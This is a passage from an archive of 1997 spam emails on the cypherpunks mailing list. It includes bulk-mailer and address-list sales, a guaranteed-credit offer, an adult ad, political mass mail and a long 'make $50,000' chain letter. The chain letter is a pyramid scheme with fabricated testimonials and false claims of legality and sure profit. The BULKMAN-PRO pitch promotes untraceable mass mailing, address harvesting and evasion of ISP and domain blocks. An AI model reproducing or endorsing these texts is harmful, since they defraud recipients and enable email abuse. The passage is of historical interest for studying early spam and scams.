Or to order via regular mail, please send bank draft, money order (..sorry,
no personal or business cheques please) or your credit card information to:

                           
                        Worldwide Marketing Group
                                  Box 48029
                                  Bedford, NS
                              Canada B4A 3Z2


(Please allow up to 1.5 to 2 weeks for delivery.)

Thank you very much and sorry for the intrusion...


Sincerely,
   Worldwide Marketing Group
   worldwide@writeme.com
   worldwide@savetrees.com

   (for fastest response, send message to both)


P.S: If you have received this message more than once, we apologize.
        Our mail program accidentally deleted our remove list. For
        removal from any future mailings, please send an e-mail with REMOVE
        in the subject field to : 

sandk@answerme.com

        We regret that we are unable to supply a telephone
        contact number. Due to the harassing calls  we have
        received from anti-bulk e-mailers, we must withhold our 
        phone number. We apologize for the inconvenience.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "submitking" <submitking@[205.199.2.191]>
Date: Mon, 16 Jun 1997 05:06:43 -0700 (PDT)
To: "Info" <submitking@submitking.com>
Subject: Congratulations!  We found your website!
Message-ID: <199706161206.FAA01872@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Greetings from SUBMITKING, the leader in automated URL submissions!  

We found your website using our high-technology, specially designed, "web
crawling" software.  Unfortunately, most people don't have access to this
type of technology.  But we can help!

As you're aware, most people find websites using any number of popular (and
sometimes not so popular) search engines and other marketing resources (like
"Site of the Day" (Week, Month, etc.)).  But who has the hours and hours to 
spend searching the Web to find these resources and THEN submit the 
information to each one?  We did it for you!

SUBMITKING has taken thousands of man hours to research the top resources
people use to find what they need on the Internet.  With even more hours we 
have written special software for each individual resource so that with the 
information from one form you fill out we can register YOUR site with each 
of these resources as well as you could do it yourself...if you had 20 or so 
hours on your hands. 

Sure, we charge for this service.  It's $19.95 for submission to all 200
resources.  Which works out to less than a dime each.  If you COULD do each
site in just 5 minutes (paying yourself .10 each) you'd do 12 an hour (thus
earning a whopping $1.20 per hour).

Probably 50 or 100 visitors to your site is all it would take to see a huge
return on your investment.  It's a logical thing to do when you consider all
the benefits you stand to gain from being listed in 200 places. That being
said we can say no more.  We simply invite you to visit the site at
http://www.submitking.com and Thank-you for your time.

Kind regards,

SUBMITKING




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Shift Control <nobody@faust.guardian.co.uk>
Date: Mon, 16 Jun 1997 19:21:00 -0700 (PDT)
To: shiftcontrol@nml.guardian.co.uk
Subject: High-Class Hoards
Message-ID: <199706161051.LAA19231@faust.guardian.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


This week in the award-winning Shift Control...

The Hoarding Issue

"Nowadays Charles Saatchi buys up entire shows of new talent in 
the Young Brit Art pack. Recently he bought nearly all the Chapman 
brothers' disturbing child mannequins with penises and anuses in 
peculiar places. And the whole of the Martin Maloney show, 'Die 
Yuppie Scum'. I imagine his art depository must be as big as an 
out-of-town IKEA store, with fork-lift trucks whizzing around it 
and people with clipboards checking stock." - Professor Lisa Jardine 
on art collectors, the ultimate hoarders.

"Mum keeps throwing more and more pairs of shoes into the black 
hole at the bottom of her wardrobe, never to be seen again, even 
though she might only have worn them once. This shoe fixation is a 
trait the rest of the family seems to have inherited. Normal kids 
inherit eye colour from their parents; we all got the urge to stash 
flip-flops." - Emma Caldwell on growing up in a house of maniacal 
hoarders.

"Charlie describes himself as a 'guardian of logic'. 'I've seen some 
super-open people, into Buddhism and Feng shui and geomancing. But 
that,' says Charlie, nodding towards the hoard of jumble, 'is an 
ecclesiastical anathema, trying to combine all things, all religions 
together.'" - Shift Control rumbles through jumble and finds a 
philosopher in the closet.

Plus: The Shift Control Gallery, the world's first bionic bee, and 
a chance to win 200 smackers in our short story competition. All 
waiting for you NOW at 
http://www.shiftcontrol.com

_____________________________________________

Shift Control is produced by the Guardian's New Media Lab with help 
from Boddingtons and Stella Artois Dry

To unsubscribe from this mailing list send e-mail to 
shiftcontrol-request@nml.guardian.co.uk
with the following text in the body of the mail message:
unsubscribe





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Grayson <plmojigyrud@aol.com>
Date: Tue, 17 Jun 1997 11:09:26 -0700 (PDT)
Subject: Tired of Not Making Money on the Internet?
Message-ID: <0aa165447011167NIH2WAAF@csi.com>
MIME-Version: 1.0
Content-Type: text/plain


ROCKET Your Way To Wealth In Cyberspace


E-mail has proven to generate more response than any other form of communication. 

A Web site alone, posting through newsgroups and registering with a few search engines while placing a few classifieds just won't work.  What good is a Web page no one knows is there? 

Using Mass e-mail provides great rewards for very little effort, time or money  IF  YOU KNOW what you're doing.  
If you don't know what you're doing, This is what will happen:

Your Internet provider will SHUT YOU DOWN..
Your 800 phone bill WILL SOAR with nuisance calls.
Your e-mail box will EXPLODE with mail bombs.

It's not worth it to learn the hard way.

Capitalize on the failures of your competitors to identify and continuously reach the TRUE online consumers.  Get everything you need to know and use to produce MEGA INCOME ONLINE.

Why is it anyone who has ever used Floodgate,E-mail Magnet, NetContact or Lightening Bolt for on-line marketing been so disappointed with the results?

If you use any one of these programs with an ISP that frowns on Mass e-mail you are guaranteed to lose your account in a very short time.  What good are bulk email programs if you can't find a provider that will allow you to mass mail? Every one of these programs extract the same addresses from the same sources.  

If everyone's hitting the same prospects over and over, is it any wonder they get upset? 

UNTIL NOW, the 1000's of user's you really want to target have thus far gone un-noticed.  These are the users that are not active posting in the newsgroups and/or online classifieds.

Send your own bulk email to thousands of people, FOR FREE!

The complete BULKMAN-PRO Mailer Package comes with everything you need to  change your life.  There is nothing further to purchase.

BULKMAN PRO is compatible with Windows 3.1, Windows 3.11, Windows NT, and Windows 95.  All you need is an Internet connection.  Most online services or internet providers charge nothing to send e-mail.  Send your letter to 10,000 people or 100,000 people - the cost is always the same.  Nothing!

While the misinformed continue using such programs as Pegasus for sending mass e-mails to the same old prospects,  you'll be using BULKMAN-PRO to e-mail 16,000 + per day that are new and never have received mass email before.  Do you really have the time or desire to try and figure this out for yourself?

Stripping addresses yourself using the old methods is a time consuming, boring affair. You may see others shouting promises of how easy their program is, BUT while your competitor is actually mailing out their sales letter  you're  EITHER still stripping or stuck in the "I'll get to it" syndrome! 

If you buy and use any bulk e-mail list you will also get flamed, and/or mail bombed.  Your account will still be terminated.  These list are filled with traps, sysops, education, government and non-profit organizations just waiting to shut you down or post "Net Abuse" articles about you. Just because virtually every list is taken from names in newsgroups that are totally inappropriate to your product or service.  So, what seems like a bargain for $30 or $50 for a so-called million e-mail addresses will turn out to be a nightmare before it's over.

Learn how to create all the email addresses you will ever need on the fly without having to buy them or extract them from newsgroups, forums, membership directories, whatever - 100% deliverable too!  Push a button and have 100,000 addresses in no time.

Learn to identify All new users to the on-line world and email them before they leave (AND before anyone else could uncover them).

Keep your email address totally UNTRACEABLE!!!!  That's RIGHT - you will be able to mass e-mail without getting your account terminated.

Using the X-15 Rocket Mailer with the Bulk E-Mailer Tools & Guide will change your life.  The X-15 Rocket Mailer will enable you to sell like you've never sold before.  No other program even comes close to the successs you will find using the X-15.  Move light years ahead of the competition using the Bulk E-Mailer Tools & Guide.

WHAT YOU WILL RECEIVE WITH BULKMAN PRO

Bulkman Pro offers the following applications for the serious marketer who
isn't interested in "bulk hype"; just a serious application for making
serious money:

  CSAG address generator for generating thousands of addresses in minutes of
brand new members. No need to go hunting them down and extracting them from
online sources. On the average I can generate 5,000 100% deliverable
addresses of brand new members that NO ONE has mailed to in 5 minutes a
evening. Don't e-mail asking me how that is possible, I won't share the nuts
& bolts of it. This is a closely guarded trade secret that only is disclosed
to purchasers (I won't even allow images of it).

  X-15 mail system. X-15 not only sends your mail very quickly and easily,
it also will post messages to any number of selected newsgroups. If that
isn't enough, it will even extract addresses from any number of selected
newsgroups right off your host news server just like NetContact. You can
select to exclude any type of addresses from being captured very easily.

X-15 also has built in "Email Cloaking" to allow you to use your own local
ISP for sending your mail with, avoiding having to search for bulk friendly
ISP's or other undesirable means to accomplish mass mailings. Click here to
view X-15.

  ELM is a Email List Manager that will allow you to easily manage all your
lists with just your mouse. Here is some of the tasks accomplished by ELM:

   * 1) Compare and remove differences between any two lists.

   * 2) Merge any kind and number of lists and will auto sort and remove
     duplicates quickly.

   * 3) Split any list into smaller list.

   * 4) Generate targeted lists that matches your target audience to use
     with X-15 in mailing your message to.

   * 5) Generate AOL addresses from captured AOL chat rooms. AOL has over
     300,000 new members signing up a month, there is no other way of
     obtaining all these new members addresses than this. Using any other
     bulk mail program would only yield 5% of these new members!

   * 6) Auto extract 'remove' requests.

Complete users guide to help walk you along step by step in a hyper-link style format along with useful bonus software. Learn how to send mass e-mail ll the time without hassle and needing to join a service and for free if you wish. How to get around online services domain blocks so that all your
e-mail is assured of being delivered.

You will also receive software as a means to link you up to a mail gateway so that you can start sending mail thru right away without delay at
no cost or sign-up requirements if you so choose to use this option. You can
then securely send mass mail and post newsgroup messages anonymously. What a
deal!

If you are going to make MEGA Income in this business, there is only one way
to do it; and ONLY one way. I will reveal to you the right way so you can
stop doing it the wrong way. Let the competition continue doing it the old
way so you can cash in on their ignorance. You will NOT find this
information anywhere else. It is extremely confidential. You will be asked
to sign a non-disclosure with your order to prevent the disclosure of this
information.

If you are currently happy with your e-mail marketing, then it makes even
more sense to use this program to compliment your existing marketing to
maximize your marketing efforts because there is simply nothing like this!


BULKMAN-PRO was designed to sell for $1695.95
It is a Professional Bulk E-mail system.

Order within 10 days from the date on this message and you get:

The X-15 Rocket Mailer		Retail	$499.00
CSA Address Generator				$395.00
AOL Address Generator				$495.00
Bulk E-mail Tools & Guide				$299.00


Get the COMPLETE package for a INTRODUCTORY Price of $499.95 plus $3.50 Shipping & Handling.  All orders received after the tenth day following the date on this MESSAGE will be charged the normal discounted rate of $699.95 plus $3.50 Shipping & Handling

Also included if you order within the next 10 days:
BONUS*** FREE Newsgroup Posting device which allows you to
         post 1 or 1,000 newsgroups at once.
         FREE Bulk E-mail Extractor that allows you to                       	    extract e-mail addresses from the Internet.

SAVE $200 -  ORDER today!

Take Advantage of the 10 DAY DISCOUNT SPECIAL!

The BULKMAM PRO comes with a 100% UNCONDITIONAL MONEY BACK GUARANTEE.   You have everything to GAIN and NOTHING to lose!  

FOR YOUR CONVENIENCE WE ACCEPT ALL FORMS OF PAYMENT
CASH, CHECK, M.O., CREDIT CARD, CHECKS BY FAX, PHONE OR E-MAIL.

MAKE ALL CHECKS PAYABLE TO: PHOENIX INTERACTIVE

BULKMAN PRO is the complete Internet Business in a Box.

ROCKET YOUR WAY TO WEALTH IN CYBERSPACE!

NON-DISCLOSURE

I Agree not to reveal, make available the information I am to receive from Jim Smyser to anyone.  This information is confidential, and I hereby agree to keep it strictly confidential and to myself.

Signature: ____________________________________

GUARANTEE:  YOU HAVE A LIMITED 10 GRACE PERIOD in which you can return your purchase for full refund if it does not meet your requirements.  After 10 days there are no refunds.  Please understand this policy before ordering.

TO GUARANTEE YOU GET THE INTRODUCTORY PRICE
PLEASE INCLUDE A COPY OF THIS MESSAGE AND DATE RECEIVED.

(Name)_________________________________________
(Address)______________________________________
(City, State & Zip)____________________________
e-mail address ________________________________
WE ACCEPT CHECKS OVER THE TELEPHONE, OR BY FAX
for your orders.  
Fax your order to: 213-737-1497
Enclosed is a check for $___________
Check Ordering Info:
MAKE ALL CHECKS PAYABLE TO: PHOENIX INTERACTIVE
Name (exactly as it appears on check
_______________________________________
Check #				Dollar Amount
________________ 		$________________
Telephone #
__________________
Bank Name:
_____________________
Bank Address
______________________________________________
Numbers at Bottom of Check(read from left to right, please indicate blank spaces with a space:
________________________________________________
 
Charge My
(VISA) or (MASTERCARD) or (AMEX)
Number _ _ _ _ -_ _ _ _ -_ _ _ _ -_ _ _ _ 
Expiration Date _____    Approved ______________    
(card holder)  Credit Card orders call
1(213)-737-1494 

DISTRIBUTORS:

Snail mail Address 
Phoenix@Global Enterprises			Global Enterprises
P.O. Box 88506				7025 OldTrail Road Los Angeles, CA  90009	                                Suite9178	
		                                                Fort Wayne, IN                                                                                      46899

ANOTHER PHOENIX @ GLOBAL ASSOCIATION


 







 







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 2m@allvip.com
Date: Mon, 16 Jun 1997 19:25:03 -0700 (PDT)
To: 2m@allvip.com
Subject: Get 2 Million FLAMEPROOF Email Addresses - ONLY $99 - ALL DELIVERABLE
Message-ID: <199706170213.WAA00248@fp.allvip.com>
MIME-Version: 1.0
Content-Type: text/plain


    * To Remove:  Please hit reply & type "remove" in the subject

< <> >   Get 2 Million Flameproof Email Addresses Today - ONLY $99  (Reg. $489)   < <> >
        *   Visa  &  Mastercard  Welcome   *   No Waiting Time!   *   Get Started NOW!  *
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    * To Remove:  Please hit reply & type "remove" in the subject

ml3






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: constitution99@hotmail.com
Date: Mon, 16 Jun 1997 23:40:43 -0700 (PDT)
To: american@home.com
Subject: Need Your Immediate Help To Stop Censorship by FCC's Reed Hundt
Message-ID: <201702369932.CIA87782@constitution99.com>
MIME-Version: 1.0
Content-Type: text/plain




TO THE INTERNET COMMUNITY

Need your help before June 19th

Rogue FCC (AKA FEDERAL CENSORSHIP COMMISSION) --  Chairman Hundt 
has put his sights on the 1st Amendment.  Seems free speech is inconvenient for him.   
Hundt trying to ban liquor, a legal product, advertising on TV.Makes no sense.  
Commissioners Quello and Chong telling Hundt to get lost. 
Give them your support.  Need to hear from you by June 19th.  Copy
E-mails to the addresses listed below:
rhundt@fcc.gov
rchong@fcc.gov
jquello@fcc.gov
president@whitehouse.gov
vice.president@whitehouse.gov
stopcensorship@juno.com


Censorship is alive-and-well in the good ol' U.S. of A.  Reed Hundt,
Chairman of the Federal Communications Commission wants to make it the
FEDERAL CENSORSHIP COMMISSION.  Hundt wants to ban liquor, a legal
product, advertising on TV.  Only good Americans can  reign in Hundt.
Help us to stop censorship. Let the Hundt and other FCC Commissioners
and the White House know your concerns.  Copy E-mails to the addresses
listed below: 
rhundt@fcc.gov
rchong@fcc.gov
jquello@fcc.gov
president@whitehouse.gov
vice.president@whitehouse.gov
freespeech1@juno.com


Renegade federal regulator - FCC's Reed Hundt - trying to ban liquor
advertising on TV.  What's the difference between beer, wine and liquor?
None.  Let Hundt and other FCC Commissioners and White House know what
you think - copy e-mail to:  
rhundt@fcc.gov
rchong@fcc.gov
jquello@fcc.gov
president@whitehouse.gov
vice.president@whitehouse.gov
stopcensorship@juno.com


Right to free speech?  Renegade federal regulator - FCC's Reed Hundt -
says only beer and wine companies have right to advertise on TV.  Hundt
is trying to ban liquor advertising on TV.  Protect free speech, let FCC
and White House know what you think - copy e-mail to:  
rhundt@fcc.gov
rchong@fcc.gov
jquello@fcc.gov
president@whitehouse.gov
vice.president@whitehouse.gov
freespeech1@juno.com













ymr - massmail




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: EZCREDIT4U@savetrees.com
Date: Mon, 16 Jun 1997 21:13:39 -0700 (PDT)
To: EZCREDIT4U@savetrees.com
Subject: !! Guaranteed $10,000 In Credit Within Days!
Message-ID: <0000000000.AAA000@savetrees.com>
MIME-Version: 1.0
Content-Type: text/plain


!! Guaranteed $10,000 In Credit Within Days!    96% Success Rate
Bad credit-no credit-low income-bankruptcy-divorce? No problem.
WORLDWIDE ACCEPTANCE. NO SECURITY DEPOSIT. UNIQUE. PROVEN. CASH
ADVANCES. BE SMART. WHAT'VE YOU GOT TO LOSE? (NOTHING). ACT NOW.
For FREE INFO (autoresponder) send email to ezcredit@answerme.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ballman@t-1net.com
Date: Mon, 16 Jun 1997 23:03:30 -0700 (PDT)
To: buy.balls@lower.prices
Subject: About Golf Balls
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain





=====> WE WANT YOU TO KNOW MORE ABOUT GOLF BALLS <=======

Lets Take Air For Example....

All of us know how tough it is to hit a good shot in windy conditions.
We assume therefore that air is just another natural element we must
out wit in order to score well.  In reality, AIR is what makes it
possible for us the hit the ball as far as we do.  The SPIN we impart
on a ball actually gives the ball lift, much like the wing on an
aircraft imparts lift.  This lift makes it possible for the ball to
stay airborne longer, enabling it to travel further.

In a vacuum, the average 250 yard drive would only travel about 180
yards.  A winged aircraft would not fly.

Air is your Friend....::))

Now here's one for you......Does a ball fly farther on a hot dry day
or cold wet day??....How about a hot humid day or a cold dry day ?

Let me know what you think.

Golfballs Unlimited USA reclaims balls from over 130 courses in 13 
states.  We stock over 50 varieties of balls.  If you're an average
player, by the time you have played 3 holes with a new ball, you are 
playing with a ball that's in much worse condition than our premium balls.

We offer the highest possible quality recycled balls available...at
direct pricing....HUGE SAVINGS over new balls.  Yes we have BALATAS.

Customer Satisfaction Is Absolutely Guaranteed.

If you would like a free catalog, just send me an email.

Click Here For Free Catalog

Regards,

Dana Jones
The Ballman

ps..I have worked carefully to see that this educational information goes only to
those who may have an interest. If you do not, please send me back message
with remove as the subject.  I will not mail you again.

Our Mission:  To Be The Best (As Determined By Our Customers)
Suppliers of Quality Recycled Golf Balls

BUY SELL TRADE






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paula <renhoek@1stfamily.com>
Date: Wed, 18 Jun 1997 23:52:51 -0700 (PDT)
To: Friend@public.com
Subject: Adult Advertisement - Check It Out!
Message-ID: <199706190659.CAB11792@199706190659.CAB11792>
MIME-Version: 1.0
Content-Type: text/plain


The following is a message of adult nature.  Please do not read further if you are offended by such.

You must be atleast 21 to access the following web page!

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Try our traditional LIVE  1-ON-1 phone sex services too! - FREE of charges (Long Distance rates apply)
011-592-583-453 to talk to HOT WOMEN or
011-592-583-426 to talk to HOT MEN!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anne <mknjbhvgcfd@aol.com>
Date: Wed, 18 Jun 1997 22:37:41 -0700 (PDT)
Subject: Can You Handle $50,000?
Message-ID: <00dcd2810061367NIH2WAAF@csi.com>
MIME-Version: 1.0
Content-Type: text/plain



<HTML><PRE></P><P ALIGN=CENTER><FONT  COLOR="#000000" SIZE=3><B>CAN YOU HANDLE $50,000?</B>


</P><P ALIGN=LEFT>First, please accept my apology if this was sent to you in error!


You could possibly make at least $50,000 - In less than 90 days! Read the enclosed program ....<B>THEN READ AGAIN</B>....


The enclosed information is something I almost let slip through my fingers. Fortunately, sometime later I re-read everything and gave it serious thought and study to it. So glad I did! Here's my story!


My name is Christopher Erickson. Two years ago, the corporation I worked at for the past twelve years down-sized and my position was eliminated. After unproductive job interviews, I decided to open my own business. Over the past year, I incurred many unforeseen financial problems. I owed my family, friends, and creditors over $35,000. The economy was taking a toll on my business and I just couldn't seem to make ends meet. I had to refinance and borrow against my home to support my family and struggling business. I truly believe it was wrong for me to be in debt like this. AT THAT MOMENT something significant happened in my life and I am writing to share my experience in hopes that this will change your life FOREVER .... FINANCIALLY!!!!!!!


In mid-December, I received this program via email. Six months prior to receiving this I had been sending away for information on various business opportunities. All the programs I received, in my opinion, were not cost effective. They were either too difficult for me to comprehend or the initial investment was too much for me to risk to see if they worked or not. One claimed I'd make a million dollars in one year ..... it didn't tell me I'd have to write a book to make it.


But like I was saying, in December of '92 I received this program. I didn't send for it, or ask for it, they just got my name off a mailing list. THANK GOODNESS FOR THAT!!! After reading it several times, to make sure I was reading it correctly, I couldn't believe my eyes. Here was a MONEY-MAKING PHENOMENON. I could invest as much as I wanted to start, without putting me further in debt. After I got a pencil and paper and figured it out, I would at least get my money back. After determning that the program is LEGAL and NOT A CHAIN LETTER, I decided "WHY NOT".


Initially I sent out 10,000 emails. It cost me about $15.00 for my time on-line. The great thing about email is that I didn't need any money for printing to send out the program, only the cost to fulfill my orders. I am telling you like it is, I hope it doesn't turn you off, but I promised myself that I would not "rip-off" anyone, no matter how much money it cost me!


In less than one week, I was starting to receive orders for REPORT #1. By January 13th, I had received 26 orders for REPORT #1. When you read the GUARANTEE in the program, you will see that "YOU MUST RECEIVE 15 TO 20 ORDERS FOR REPORT #1 WITHIN TWO WEEKS. IF YOU DON'T, SEND OUT MORE PROGRAMS UNTIL YOU DO!". My first step in making $50,000 in 20 to 90 days was done. By January 30th, I had received 196 orders for REPORT #2. If you go back to the GUARANTEE, "YOU MUST RECEIVE 100 OR MORE ORDERS FOR REPORT #2 WITHIN TWO WEEKS, IF NOT, SEND OUT MORE PROGRAMS UNTIL YOU DO. ONCE YOU HAVE 100 ORDERS, THE REST IS EASY. RELAX, YOU WILL MAKE YOUR $50,000 GOAL".
Well, I had 196 orders for REPORT #2, 96 MORE THAN I NEEDED. So, I sat back and relaxed. By March 19th, of my emailing of 10,000, I received $58,000 with more coming in every day.


I paid off ALL my debts and bought a much needed new car. PLEASE take time to read the attached program, IT WILL CHANGE YOUR LIFE FOREVER! Remember, it won't work if you DON'T try it! This program DOES WORK, but you must follow it EXACTLY! Especially the rules of not trying to place your name in a different place. THAT DOESN'T WORK, you'll lose out on a lot of money! REPORT #2 explains this. Always follow the guarantee, 15 to 20 orders for REPORT #1, and 100 or more orders for REPORT #2 and you will make $50,000 or more in 20 to 90 days. I AM LIVING PROOF THAT IT WORKS!!!!!


If you choose not to participate in this program, I'm sorry. It really is a great opportunity with little cost or risk to you. If you choose to participate, follow the program and you will be on your way to financial security.


If you are a fellow business owner and you are in financial trouble like I was, or you want to start your own business, consider this a sign. I DID!



                                                                                   Sincerely,
                                                                                   Christopher Erickson


P.S. Do you have any idea what 11,700 $5 bills ($58,000) look like piled up on a kitchen table? IT'S AWESOME!


"THREW IT AWAY"


I had received this program before. I threw it away, but later wondered if I shouldn't have given it a try. Of course, I had no idea who to contact to get a copy, so I had to wait until I was emailed another copy of the program. Eleven months passed, then it came. I DIDN'T throw this one away. I made $41,000 on the first try".


                                                                                    Dawn W., Evansville, IN
             
"NO FREE LUNCH"


"My late father always told me, remember, Alan, there is no free lunch. You get out of life what you put into it". Through trial and error and a somewhat slow frustrating start, I finally figured it out. The program works very well, I just had to find the right target group to email it to. So far this year, I have made over $63,000 using this program. I know my dad would have been very proud of me.


                                                                                    Alan B., Philadelphia, PA


A PERSONAL NOTE FROM THE ORIGINATOR OF THIS PROGRAM


By the time you have read the enclosed information and looked over the enclosed program and reports, you should have concluded that such a program, and one that is legal, could not have been created by an amateur.


Let me tell you a little about by myself. I had a profitable business for ten years. Then in 1979 my business began falling off. I was doing the same things that were previously successful for me, but it wasn't working. Finally, I figured it out. It wasn't me, it was the economy. Inflation and recession had replaced the stable economy that had been with us since 1945. I don't have to tell you what happened to the unemployment rate .... because many of you know from first hand experience. There were more failures and bankruptcies than ever before.


The middle class was vanishing. Those who knew what they were doing invested wisely and moved up. Those who did not, including those who never had anything to save or invest, were moving down into the ranks of the poor. As the saying goes, "THE RICH GET RICHER AND THE POOR GET POORER". The traditional methods of making money will never allow you to "move up" or "get rich", inflation will see to that.


You have just received information that can give you financial freedom for the rest of your life, with "NO RISK" and "JUST A LITTLE BIT OF EFFORT". You can make more money in the next few months than you have ever imagine.


I should also point out that I will not see a penny of your money, nor anyone else who has provided a testimonial for this program. I have already made over FOUR MILLION DOLLARS! I have retired from the program after sending out over 16,000 programs. Now I have several offices which market this and several other programs here in the US and overseas. By the Spring, we wish to market the 'internet' by a partnership with AMERICA ON LINE.


Follow the program EXACTLY AS INSTRUCTED. Do not change it in any way. It works exceedingly well as it is now. Remember to email a copy of this exciting program to everyone that you can think of. One of the people you send this to may send out 50,000 .... and your name will be on every one of them! Remember though, the more you send out, the more potential customers you will reach.


So my friend, I have given you the ideas, information, materials and opportunity to become financially independent, IT IS UP TO YOU NOW!


"THINK ABOUT IT"


Before you throw this away or delete it from your mailbox, as I almost did, take a little time to read it and REALLY THINK ABOUT IT. Get a pencil and paper and figure out what could happen when YOU participate. Figure out the worst possible response and no matter how you calculate it, you will still make a lot of money! Definitely get back what you invested. Any doubts you have will vanish when your first orders come in. IT WORKS!


                                                                              Paul Johnson, Raleigh, NC


HERE'S HOW THIS AMAZING PROGRAM WILL MAKE YOU $$$$$$$$$$$


Let's say that you decide to start small, just to see how it goes, and we'll assume that the mailing receives a 5% response. Using a good list the response could be much better. Also, many people will send out hundreds of thousands of programs instead of 2,000. But continuing with this example, you send out only 2,000 programs. With a 5% response, that is only 10 orders for REPORT #1. Those 10 people respond by sending out 2,000 programs each for a total of 20,000. Out of those 5%, 100 people respond and order REPORT #2. Those 100 mail out 2,000 programs each for a total of 200,000. the 5% response to that is 1,000 orders for REPORT #3. Those 1,000 send out 2,000 programs each for 2,000,000 total. The 5% response to that is 10,000 orders for REPORT #4. That's 10,000 five dollar bills for you. CASH!!!! Your total income in this example of $50 + $500 + $5000 + $50,000 for a total of $55,500!!!!!!


REMEMBER FRIEND, THIS IS ASSUMING 1,990 OUT OF 2,000 PEOPLE YOU MAIL TO WILL DO ABSOLUTELY NOTHING.....AND TRASH THIS PROGRAM! DARE TO THINK FOR A MOMENT WHAT WOULD HAPPEN IF EVERYONE OR HALF SENT OUT 100,000 PROGRAMS INSTEAD OF ONLY 2000. Believe me, many people will do that and more! By the way, your cost to participate in this is practially nothing if you go the email route. Email is FREE! REPORT #3 will show you the best methods for bulk emailing and purchasing email lists. If you go the regular mail route, that also will provide you with a very nice income. The costs for regular mail are higher.


THIS IS A LEGITIMATE, LEGAL, MONEY MAKING OPPORTUNITY. It does not require you to come in contact with people, do any hard work, and best of all, you never have to leave the house except to get the mail. If you believe that someday you'll get that big break that you've been waiting for, THIS IS IT! Simply follow the instructions, and your dreams will come true. This multi-level order marketing program works perfectly .... 100% EVERY TIME. If you have a computer, email is the sales tool of the future. Take advantage of this non-commercialized method of advertising NOW!!! The longer you wait, the more people will be doing business using email. Get your piece of this action now!!!


MULTI-LEVEL MARKETING (MLM) has finally gained respectability. It is being taught in the Harvard Business School, and both Stanford Research and The Wall Street Journal have stated that between 50% and 65% of all goods and services will be sold throughout Multi-Level Methods by the mid to late 1990's. This is a Multi-Billion Dollar industry and of the 500,000 millionaires in the US, 20% (100,000) made their fortune in the last several years in MLM. Moreover, statistics show 45 people become millionaires everyday through Multi-Level Marketing.


INSTUCTIONS


We at Erris Mail Order Marketing Business, have a method of raising capital that REALLY WORKS 100% EVERY TIME. I am sure that you could use $50,000 to $125,000 in the next 20 to 90 days. Before you say "Bull", <B>please read the program very carefully!</B>


This is not a chain letter, but a perfectly legal money making opportunity. Basically, this is what we do: As with all multi-level business, we build our business by recruiting new partners and selling our products. Every state in the USA allows you to recruit new multi-level business partners, and we offer a product for EVERY dollar sent. YOUR ORDERS COME AND ARE FILLED THROUGH THE MAIL, so you are not involved in personal selling. You do it privately in your own home, store or office.


This is the GREATEST Multi-level Mail OrderMarketng anywhere:


Step (1) <B>ORDER ALL FOUR (4) REPORTS LISTED BY NAME AND NUMBER.</B>
             Do this by ordering the REPORT from each of the four (4) names listed. For
             each REPORT, send $5 CASH and a SELF-ADDRESSED, STAMPED
             envelope (BUSINESS SIZE #10) to the person LISTED for the SPECIFIC
             REPORT. International orders should also include $1 extra for postage. It is
             essential that you specify the NAME and NUMBER of the report requested
             to the person you are ordering from. You will need ALL FOUR REPORTS
             because you will be REPRINTING and RESELLING them. DO NOT alter the
             names or sequence other than what the instructions say. IMPORTANT:
             Always provide same-day service on all orders.


Step (2) <B>REPLACE THE NAME AND ADDRESS UNDER REPORT #1 WITH YOURS,
             </B>moving the one that was there down to REPORT #2. Drop the name and
             address under REPORT #2 to REPORT #3, moving the one that was there to
             REPORT #4. The name and address that was under REPORT #4 is dropped
             from the list and this party is no doubt on the way to the bank. When doing
             this, make certain you type the names and addresses ACCURATELY! DO
             NOT MIX UP MOVING PRODUCT/REPORT POSITIONS!!!!


Step (3) <B>HAVING MADE THE REQUIRED CHANGES IN THE NAME LIST,</B> save it as
             Text (.txt) file in its own directory to be used with whatever email program you
             like. Again, REPORT #3 will tell you the best methods of bulk emailing and
             acquiring email lists.


Step (4) <B>EMAIL OR MAIL A COPY OF THE ENTIRE PROGRAM</B> (ALL OF THIS IS
             VERY IMPORTANT) TO EVERYONE whose address you can get your hands
             on. Start with friends and relatives since you can encourage them to take
             advantage of this fabulous money-making opportunity. That's what I did. And
             they love me now, more then ever. Then, email to anyone and everyone! Use
             your imagination! You can get email addresses from companies on the
             internet who specialize in email mailing lists and services, mailing them for
             you. These are very inexpensive, 100,000 addresses for around $50.00 up.


<B>IMPORTANT: </B>You won't get a good response if you use an old list, so ALWAYS request a FRESH, NEW list. You will find out where to purchase these lists when you order the four (4) reports.


<B>ALWAYS PROVIDE SAME-DAY SERVICE ON ALL ORDERS!!!


REQUIRED REPORTS


</B>**** Order each REPORT by NUMBER and NAME ****


ALWAYS SEND A SELF-ADDRESSED, STAMPED ENVELOPE AND $5 CASH FOR EACH ORDER REQUESTING THE SPECIFIC REPORT BY NAME AND NUMBER.


<B>**** REPORT #1 "HOW TO MAKE $250,000 THROUGH MULTI-LEVEL SALES"</B>
  
<B>ORDER REPORT #1 FROM:


</B>          <B>THE "Z" COMPANY
          </B>1506 Audubon Place
          Shreveport, La. 71105


<B>**** REPORT #2 "MAJOR CORPORATIONS AND MULTI-LEVEL SALES"


ORDER REPORT #2 FROM:


          KZT
</B>          1013 Speed
          Monroe, La. 71201
 
**** <B>REPORT #3 "SOURCES FOR THE BEST MAILING LISTS"


ORDER REPORT #3 FROM:
</B>
          <B>SOUTHERN S. S.</B>
          1324 Chopin
          Bossier City, La. 71112


<B>**** REPORT #4 "EVALUTING MULTI-LEVEL SALES PLANS"


ORDER REPORT #4 FROM:


          PREMIER CO.
          </B>115 Fielder Lane
          Shreveport, La. 71105



CONCLUSION!


I am enjoying my fortune that I made by sending out this program. You, too, will be making money in 20 - 90 days, if you follow the SIMPLE STEPS outlined in this mailing.


To be financially independent is to be FREE. Free to make financial decisions as never before. Go into business, get into investments, retire or take a vacation. No longer will a lack of money hold you back.


